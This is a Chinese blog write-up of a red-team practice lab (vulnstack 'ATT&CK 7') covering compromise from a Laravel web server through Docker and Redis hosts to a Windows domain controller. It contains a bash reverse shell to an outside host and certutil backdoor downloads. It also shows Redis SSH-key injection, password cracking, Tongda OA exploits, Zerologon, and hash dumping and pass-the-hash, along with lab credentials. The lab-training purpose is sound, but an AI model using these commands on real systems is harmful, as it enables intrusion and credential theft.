红日ATT&CK红队实战(七)

漏洞拓扑

漏洞搭建

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

靶场启动:按照红日官网的操作步骤即可。

注意:启动web1可能显示nginx端口被占用的情况,使用sudo fuser -n tcp 81命令之后重新启动,后面下载的靶场通达OA会显示未授权,需要去官网注册获取授权文件。

外网打点

端口扫描,发现存在80、81、6379、2233(ssh)端口

CVE-2021-3129

81是一个Laravel v8.29.0(PHP v7.4.14)

搜索历史漏洞,使用工具进行利用即可

laravel-CVE-2021-3129-EXP:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

注意:这里目标地址后面的 / 要删除。

哥斯拉连接即可,这里使用哥斯拉1.0版本

根据进程数量和ifconfig、ip a缺失判断当前试docker环境。

但是当前权限比较低,先来获取root权限。一个显眼包。

执行shell脚本,发现显示的内容和ps命令很像。

上传php脚本获取一个交互式shell

echo system('bash -c "bash -i >& /dev/tcp/vps_ip/8888 0>&1"');

获取到root权限

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

先来上线cs,(此时获取的是容器的root权限)

容器逃逸获取宿主机权限

df -Th:查看linux系统挂载情况

挂载逃逸获取宿主机权限

这里尝试通过写入计划任务,写入ssh公钥尝试获取宿主机root权限,但是都失败了。遂放弃。。。

redis未授权

由于开启了ssh 2233端口,尝试写公钥连接。

CONFIG GET dir
CONFIG GET dbfilename
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt    // 将公钥信息进行分行,避免写入的时候造成影响
cat test.txt | redis-cli -h target_ip -x set xxx
CONFIG SET DIR "/root/.ssh"    // 更改为公钥存放目录
CONFIG SET DBFILENAME "authorized_keys"    // 重命名。如果存在会覆盖
save
del test    // 删除test
config set dir /usr/local/redis/data    // 还原
config set dbfilename dump.rdb    // 还原
ssh -i id_rsa -p 2233 root@target_ip

上线cs,已获取到redis这台主机的root权限

尝试查看正在运行的docker容器,戏剧性的一幕来了,竟然没有docker命令。

查看IP地址,发现第一张网卡是:192.168.0.102/24,第二张网卡是:192.168.52.10/24

扫描一下IP地址,上传fscan扫描,发现地址192.168.52.20,并且22端口也是开启的

由于前面查看/etc/shadow文件,发现了ubuntu的密码密文,所以可以尝试破解一下。很好,弱口令 ubuntu:ubuntu

john --wordlist=/usr/share/wordlists/rockyou.txt hash

到此,这台拥有容器的主机也被拿下

此时cs已经获取到192.168.52.20这台主机的root权限。

内网渗透

这里在渗透第三台主机的时候,fscan禁ping也不行扫描到第三台主机,后面我将第三台主机的防火墙添加了入站规则,从而可以扫描到。

nps添加socks代理以访问内网通达。

通达在线任意用户登陆漏洞

http://192.168.52.30:8080/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

页面空白,表示漏洞可利用

http://192.168.52.30:8080/general/

添加cookie即可登陆成功

通达ispirit文件上传getshell

查看版本 11.3,文件上传即可,burp添加socks5代理

拼接地址执行命令

netsh advfirewall set allprofiles state off
certutil -urlcache -split -f http://192.168.93.10:8081/art.exe C:\art.exe

关闭防火墙,下载后门,上线cs

接下来信息收集,先来抓取明文密码

WHOAMIANONY Administrator:Whoami2021

WHOAMIANONY bunny:Bunny2021

查看IP地址,发现DNS服务器是192.168.93.30,有可能是域控IP

域渗透

net view 查看存在域控和两个域主机

CVE-2020-1472

将域控DC的密码置换为空。

proxychains4 python cve-2020-1472-exploit.py dc$ 192.168.93.30

此时使用空密码登陆域控,将密码hash全部导出。

proxychains4 python3 secretsdump.py WHOAMIANONY/dc\$@192.168.93.30 -just-dc -hashes :

使用hash登陆获取域控权限。

proxychains4 python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec Administrator@192.168.93.30

netsh advfirewall set allprofiles state off    # 关闭防火墙
certutil -urlcache -split -f http://192.168.93.20:8080/to.exe C:\to.exe

利用192.168.93.20代理转发生成后门,通过通达url来下载后门并上线cs

接着使用psexec横向渗透,获取PC2的权限。

proxychains4 python3 psexec.py Administrator:Whoami2021@192.168.93.40

使用同样的方法上线cs。

posted @ 2024-03-10 18:13  Cx330Lm  阅读(26)  评论(0编辑  收藏  举报